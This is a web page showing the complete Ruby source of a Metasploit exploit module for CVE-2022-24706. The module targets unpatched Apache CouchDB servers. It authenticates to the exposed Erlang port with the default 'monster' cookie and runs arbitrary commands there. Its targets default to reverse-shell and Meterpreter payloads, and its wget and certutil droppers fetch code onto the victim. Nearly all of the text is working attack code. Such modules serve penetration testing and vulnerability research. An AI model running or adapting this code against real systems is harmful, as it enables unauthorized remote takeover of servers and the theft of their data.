Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Retry11include Msf::Exploit::Powershell12prepend Msf::Exploit::Remote::AutoCheck13require 'msf/core/exploit/powershell'14require 'digest'1516# Constants required for communicating over the Erlang protocol defined here:17# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html18EPM_NAME_CMD = "\x00\x01\x6e".freeze19NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze20CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze21CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze22COOKIE = 'monster'.freeze23COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze2425def initialize(info = {})26super(27update_info(28info,29'Name' => 'Apache Couchdb Erlang RCE',30'Description' => %q{31In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without32authenticating and gain admin privileges.33},34'Author' => [35'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery36'1F98D', # Erlang Cookie RCE exploit37'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit38'_sadshade', # Apache CouchDB Erlang Cookie exploit39'jheysel-r7', # Msf Module40],41'References' => [42[ 'EDB', '49418' ],43[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],44[ 'CVE', '2022-24706'],45],46'License' => MSF_LICENSE,47'Platform' => ['win', 'linux'],48'Payload' => {49'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method50},51'Privileged' => false,52'Arch' => [ ARCH_CMD ],53'Targets' => [54[55'Unix Command',56{57'Platform' => 'unix',58'Arch' => ARCH_CMD,59'Type' => :unix_cmd,60'DefaultOptions' => {61'PAYLOAD' => 'cmd/unix/reverse_openssl'62}63}64],65[66'Linux Dropper',67{68'Platform' => 'linux',69'Arch' => [ARCH_X86, ARCH_X64],70'Type' => :linux_dropper,71'CmdStagerFlavor' => :wget,72'DefaultOptions' => {73'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'74}75}76],77[78'Windows Command',79{80'Platform' => 'win',81'Arch' => ARCH_CMD,82'Type' => :win_cmd,83'DefaultOptions' => {84'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'85}86}87],88[89'Windows Dropper',90{91'Arch' => [ARCH_X86, ARCH_X64],92'Type' => :win_dropper,93'CmdStagerFlavor' => :certutil,94'DefaultOptions' => {95'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'96}97}98],99[100'PowerShell Stager',101{102'Arch' => [ARCH_X86, ARCH_X64],103'Type' => :psh_stager,104'CmdStagerFlavor' => :certutil,105'DefaultOptions' => {106'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'107}108}109]110],111'DefaultTarget' => 0,112'DisclosureDate' => '2022-01-21',113'Notes' => {114'Stability' => [CRASH_SAFE],115'Reliability' => [REPEATABLE_SESSION],116'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]117}118)119)120121register_options(122[123Opt::RPORT(4369)124]125)126end127128def check129erlang_ports = get_erlang_ports130# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.131return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?132133erlang_ports.each do |erlang_port|134# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been135# successful and the target as well as the specific socket used in this instance is vulnerable136sock = connect_to_erlang_server(erlang_port.to_i)137if sock.instance_of?(Socket)138@vulnerable_socket = sock139return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')140else141next142end143end144Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')145end146147# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers148#149# @return [Array] An array of port numbers for discovered Erlang Servers.150def get_erlang_ports151erlang_ports = []152begin153print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")154connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })155# request Erlang nodes156sock.put(EPM_NAME_CMD)157sleep datastore['WfsDelay']158res = sock.get_once159unless res && res.include?("\x00\x00\x11\x11name couchdb")160print_error('Did not find any Erlang nodes')161return erlang_ports162end163164print_status('Successfully found EDPM socket')165res.each_line do |line|166erlang_ports << line.match(/\s(\d+$)/)[0]167end168rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e169print_error("Error connecting to EDPM: #{e.class} #{e}")170disconnect171return erlang_ports172end173erlang_ports174end175176# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the177# default erlang cookie value in Apache CouchDB installations before 3.2.2178#179# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server180def connect_to_erlang_server(erlang_port)181print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')182connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })183print_status('Connection successful')184challenge = retry_until_truthy(timeout: 60) do185sock.put(NAME_MSG)186sock.get_once(5) # ok message187sock.get_once188end189# The expected successful response from the target should start with \x00\x1C190unless challenge && challenge.include?("\x00\x1C")191print_error('Connecting to the Erlang server was unsuccessful')192return193end194195challenge = challenge[9..12].unpack('N*')[0]196challenge_reply = "\x00\x15r\x01\x02\x03\x04"197md5 = Digest::MD5.new198md5.update(COOKIE + challenge.to_s)199challenge_reply << [md5.hexdigest].pack('H*')200sock.put(challenge_reply)201sleep datastore['WfsDelay']202challenge_response = sock.get_once203204if challenge_response.nil?205print_error('Authentication was unsuccessful')206return207end208print_status('Erlang challenge and response completed successfully')209210sock211rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e212print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")213disconnect214return215end216217def compile_cmd(cmd)218msg = ''219msg << COMMAND_PREFIX220msg << [cmd.length].pack('S>')221msg << cmd222msg << "jw\x04user"223payload = ("\x70" + CTRL_DATA + msg)224([payload.size].pack('N*') + payload)225end226227def execute_command(cmd, opts = {})228payload = compile_cmd(cmd)229print_status('Sending payload... ')230opts[:sock].put(payload)231sleep datastore['WfsDelay']232end233234def exploit_socket(sock)235case target['Type']236when :unix_cmd, :win_cmd237execute_command(payload.encoded, { sock: sock })238when :linux_dropper, :win_dropper239execute_cmdstager({ sock: sock })240when :psh_stager241execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })242else243fail_with(Failure::BadConfig, 'Invalid target specified')244end245end246247def exploit248# If the check method has already been run, use the vulnerable socket that has already been identified249if @vulnerable_socket250exploit_socket(@vulnerable_socket)251else252erlang_ports = get_erlang_ports253fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)254255erlang_ports.each do |erlang_port|256sock = connect_to_erlang_server(erlang_port.to_i)257next unless sock.instance_of?(Socket)258259exploit_socket(sock)260end261end262end263end264265266